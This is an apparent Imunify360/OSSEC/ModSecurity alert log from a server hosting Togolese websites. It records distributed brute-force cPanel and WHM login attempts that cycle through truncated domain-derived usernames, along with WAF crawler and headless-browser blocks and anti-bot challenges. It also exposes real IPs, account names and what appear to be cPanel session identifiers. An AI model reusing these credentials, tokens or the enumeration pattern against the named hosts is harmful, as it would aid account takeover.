45.197.198.172 - - [16/Jun/2026:00:34:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791642&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14670&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781570056 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14670" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.3350.1738 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.197.198.172


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:33:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:33:28 dovecot_login authenticator failed for H=(QJt4YzYNO) [130.12.181.65]:53790: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:00:33:58 +0000] "GET /favicon.ico HTTP/2.0" 415 185 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:34:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869162&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781570047 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:00:33:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.121.139.71
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:172.121.139.71||TA:172.121.139.71||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.196.240.219
country_id: 3625428
description:
[2026-06-16 00:38:08 +0000] info [cpaneld] 38.196.240.219 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.135.153
country_id: 3658394
description:
[2026-06-16 00:38:14 +0000] info [cpaneld] 157.100.135.153 - certlogisticstogocom "GET /login/?login_only=1&user=certlogisticstogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstogocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.99.106.167
country_id: 290557
description:
[2026-06-16 00:38:18 +0000] info [cpaneld] 86.99.106.167 - certlogisticstog "GET /login/?login_only=1&user=certlogisticstog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.26.222.10
country_id: 3865483
description:
[2026-06-16 00:38:30 +0000] info [cpaneld] 181.26.222.10 - certlogistic "GET /login/?login_only=1&user=certlogistic&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogistic (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.119.149.8
country_id: 2542007
description:
[2026-06-16 00:38:38 +0000] info [cpaneld] 196.119.149.8 - certlogist "GET /login/?login_only=1&user=certlogist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.158.63.234
country_id: 6251999
description:
[2026-06-16 00:38:40 +0000] info [cpaneld] 69.158.63.234 - certlogis "GET /login/?login_only=1&user=certlogis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.192.83.79
country_id: 3469034
description:
[2026-06-16 00:39:06 +0000] info [cpaneld] 181.192.83.79 - ce "GET /login/?login_only=1&user=ce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ce (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.29.215.20
country_id: 1210997
description:
[2026-06-16 00:38:34 +0000] info [cpaneld] 223.29.215.20 - certlogisti "GET /login/?login_only=1&user=certlogisti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisti (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.49.63.68
country_id: 6252001
domain: api.butodra.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.193.117.229
country_id: 1522867
description:
[2026-06-16 00:38:54 +0000] info [cpaneld] 85.193.117.229 - certl "GET /login/?login_only=1&user=certl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.77.57.29
country_id: 3658394
description:
[2026-06-16 00:39:01 +0000] info [cpaneld] 201.77.57.29 - cer "GET /login/?login_only=1&user=cer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.12.138.161
country_id: 298795
description:
[2026-06-16 00:38:25 +0000] info [cpaneld] 212.12.138.161 - certlogistics "GET /login/?login_only=1&user=certlogistics&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogistics (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:39:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:39:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.207.53.74
country_id: 6252001
domain: apisolde.chuso.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.24.135.24
country_id: 3865483
description:
[2026-06-16 00:43:29 +0000] info [cpaneld] 181.24.135.24 - ekeasarl "GET /login/?login_only=1&user=ekeasarl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasarl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.230.34
country_id: 3686110
description:
[2026-06-16 00:43:35 +0000] info [cpaneld] 38.156.230.34 - ekeasa "GET /login/?login_only=1&user=ekeasa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.165.161.100
country_id: 1210997
description:
[2026-06-16 00:43:40 +0000] info [cpaneld] 103.165.161.100 - ekeas "GET /login/?login_only=1&user=ekeas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.164.37.115
country_id: 1733045
description:
[2026-06-16 00:43:49 +0000] info [cpaneld] 115.164.37.115 - eke "GET /login/?login_only=1&user=eke&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eke (has_cpuser_file failed)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 121.229.156.46
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2340||QS:add-to-cart=2340||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.189.143.179
country_id: 2802361
description:
[2026-06-16 00:43:24 +0000] info [cpaneld] 188.189.143.179 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.171.80
country_id: 3923057
description:
[2026-06-16 00:43:34 +0000] info [cpaneld] 181.115.171.80 - ekeasar "GET /login/?login_only=1&user=ekeasar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasar (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 221.132.2.48
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/category/faits-divers/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.170.3.19
country_id: 3865483
description:
[2026-06-16 00:43:49 +0000] info [cpaneld] 181.170.3.19 - eke "GET /login/?login_only=1&user=eke&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eke (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.196.199.122
country_id: 6252001
domain: apisolde2.chuso.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.49.63.68
country_id: 6252001
domain: app.cfmi.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.247.149.14
country_id: 2017370
description:
[2026-06-16 00:46:12 +0000] info [cpaneld] 91.247.149.14 - ekina "GET /login/?login_only=1&user=ekina&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekina (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.167.202.83
country_id: 102358
description:
[2026-06-16 00:46:13 +0000] info [cpaneld] 82.167.202.83 - ekin "GET /login/?login_only=1&user=ekin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.17.39.72
country_id: 6252001
description:
[2026-06-16 00:46:16 +0000] info [cpaneld] 174.17.39.72 - ekin "GET /login/?login_only=1&user=ekin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.244.153.46
country_id: 99237
description:
[2026-06-16 00:46:16 +0000] info [cpaneld] 185.244.153.46 - eki "GET /login/?login_only=1&user=eki&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eki (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.189.108.73
country_id: 3932488
description:
[2026-06-16 00:46:20 +0000] info [cpaneld] 45.189.108.73 - eki "GET /login/?login_only=1&user=eki&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eki (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:00:48:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13276356&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781570906 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:48:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750123&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781570902 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 182.8.161.175
country_id: 1643084
domain: civilemagazine.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-50.182.8.161.175||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.201
country_id: 2921044
description:
[2026-06-16 00:53:52 +0000] info [cpaneld] 5.175.229.201 NEW wcnyaruu:mOOpiOYPeOKlQmcA address=5.175.229.201,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:54:01 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:54:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.24.182
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:184.174.24.182||TA:184.174.24.182||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.96
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:206.232.103.96||TA:206.232.103.96||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.98
country_id: 6252001
description:
[2026-06-16 00:58:09 +0000] info [cpaneld] 107.175.5.98 NEW ifxmoxbf:1xxQaK9bgLn_ksxg address=107.175.5.98,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.105.121.45
country_id: 2635167
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:198.105.121.45||TA:198.105.121.45||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 179.61.166.157
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:179.61.166.157||TA:179.61.166.157||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.103.218
country_id: 2077456
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:46.203.103.218||TA:46.203.103.218||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.96.15.70
country_id: 6252001
description:
[2026-06-16 01:00:37 +0000] info [cpaneld] 73.96.15.70 - togodailyn "GET /login/?login_only=1&user=togodailyn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailyn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.94.33.13
country_id: 2017370
description:
[2026-06-16 01:00:47 +0000] info [cpaneld] 188.94.33.13 - togoda "GET /login/?login_only=1&user=togoda&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoda (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.120
country_id: 1880251
description:
47.128.121.120 - - [16/Jun/2026:01:00:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13067889&pdata=https%253A%252F%252Ftogomedia24.tg%252F2023%252F07%252F28%252Ftogo-le-bilan-de-la-securite-routiere-du-premier-trimestre-devoile%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781571627 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2023/07/28/togo-le-bilan-de-la-securite-routiere-du-premier-trimestre-devoile/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.120


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 90.249.143.114
country_id: 2635167
description:
[2026-06-16 01:00:30 +0000] info [cpaneld] 90.249.143.114 - togodailynew "GET /login/?login_only=1&user=togodailynew&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailynew (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.9.221.119
country_id: 3686110
description:
[2026-06-16 01:00:42 +0000] info [cpaneld] 38.9.221.119 - togodail "GET /login/?login_only=1&user=togodail&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodail (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.186.7.102
country_id: 3658394
description:
[2026-06-16 01:00:50 +0000] info [cpaneld] 45.186.7.102 - togod "GET /login/?login_only=1&user=togod&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togod (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.52.134.139
country_id: 2017370
description:
[2026-06-16 01:00:55 +0000] info [cpaneld] 185.52.134.139 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.226.117.124
country_id: 2635167
description:
[2026-06-16 01:02:14 +0000] info [whostmgrd] 151.226.117.124 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.229.126.218
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:23.229.126.218||TA:23.229.126.218||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.38.162
country_id: 6251999
domain: www.letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.239.38.162||TA:104.239.38.162||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.39.165.44
country_id: 357994
description:
[2026-06-16 01:04:07 +0000] info [whostmgrd] 41.39.165.44 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.217.172.201
country_id: 6252001
description:
[2026-06-16 01:03:43 +0000] info [whostmgrd] 71.217.172.201 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.46.137.251
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:198.46.137.251||TA:198.46.137.251||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:05:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236452&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781571913 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:01:05:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726872&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781571916 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.181.85.237
country_id: 2635167
description:
[2026-06-16 01:04:26 +0000] info [whostmgrd] 109.181.85.237 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.191.44.10
country_id: 6252001
description:
[2026-06-16 01:06:04 +0000] info [whostmgrd] 71.191.44.10 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.208.150.103
country_id: 6252001
description:
[2026-06-16 01:05:49 +0000] info [whostmgrd] 24.208.150.103 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.41.233.118
country_id: 357994
description:
[2026-06-16 01:06:35 +0000] info [whostmgrd] 41.41.233.118 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.220.61.200
country_id: 6252001
description:
[2026-06-16 01:07:19 +0000] info [whostmgrd] 47.220.61.200 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.103.9.232
country_id: 1814991
description:
[2026-06-16 01:07:55 +0000] info [whostmgrd] 182.103.9.232 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.71.54.40
country_id: 2017370
description:
[2026-06-16 01:08:04 +0000] info [cpaneld] 178.71.54.40 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Marshall_Alexander (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:08:59 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
